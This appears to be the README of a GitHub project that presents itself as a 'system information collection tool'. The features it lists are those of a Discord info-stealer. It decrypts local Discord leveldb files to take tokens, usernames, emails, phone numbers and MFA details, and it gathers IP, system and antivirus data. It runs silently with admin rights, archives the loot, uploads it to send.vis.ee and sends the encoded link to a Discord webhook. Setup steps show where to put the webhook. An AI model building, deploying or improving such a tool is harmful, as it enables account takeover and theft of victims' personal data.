A Python-based system information collection tool that gathers various data about the system including IP information, system details, and installed antivirus software.
- IP Data Collection: Scrapes detailed IP information from ipdata.co using Playwright
- System Information: Exports system information using Windows MSInfo32
- Antivirus Detection: Scans for installed antivirus software on the system
- Discord Grabber: Grabs discord Tokens, Usernames, Phones, Mails etc
- Automated Data Collection: All data collection processes run automatically in parallel
- Secure Storage: Collected data is stored in encrypted 7z archive
- Cloud Storage: Post it to "https://send.vis.ee" and get the URL
- Getting the Archive Send the URL to discord webhook
- Scrapes IP information from ipdata.co
- Handles automated Playwright installation and configuration
- Saves results in JSON format
- Includes detailed logging
- Exports system information using msinfo32
- Runs without GUI intervention
- Saves detailed system information in NFO format
- Includes progress logging
- Scans for installed antivirus software
- Detects major antivirus products
- Uses pattern matching for executable detection
- Generates detailed scan reports
- Scans for any local discord leveldb
- Decrypt the leveldb
- Gets the UserID, Username, Mail, Number, Nitro information, Subscriptions, MFA information, TOKEN
- Upload the file safely to "https://send.vis.ee"
- Handle error situations
- Coordinates all collection processes
- Runs with administrative privileges
- Implements threading for parallel execution
- Secures collected data in encrypted archives
- Send the file to "https://send.vis.ee" using (
utils/visee.py
) - Send the installation URL to discord webhook encoded
- Windows Operating System
- Python
- Required Python packages:
- playwright
- py7zr
- ctypes
- Clone the repository
git clone https://github.com/Lunixizm0/Data-Collector.git
- Install required Python packages:
pip install playwright py7zr
- Install Playwright browsers:
python -m playwright install chromium
- Enter your discord webhook to (
utils/antivirus.py
) line 292
Run the launcher script:
pythonw launch.pyw
The script will:
- Request administrative privileges
- Launch all data collection processes in parallel
- Store results in the temporary directory
- Create an encrypted archive of all collected data
- Post it to "https://send.vis.ee"
- Send the URL to discord webhook encoded
All collected data is stored in:
%TEMP%\lunix\
The final encrypted archive will be created in the temp directory with the naming format:
%TEMP%\username_HH_MM_SS.7z
By default, the 7z archive password is set to be the same as the archive filename (e.g., if the file is named lunix_14_30_45.7z
, the password should be lunix_14_30_45.7z
). This can be modified in the launch.pyw
script by changing the password parameter in the py7zr.SevenZipFile
call.
Then the archive file will be posted on "https://send.vis.ee" after that it will send the base64 encoded url to discord webhook
- Develop automated retrieval system
- Create auto message decryption functionality
- Implement automatic URL extraction
- Add file download for handed url
See the LICENSE file for details.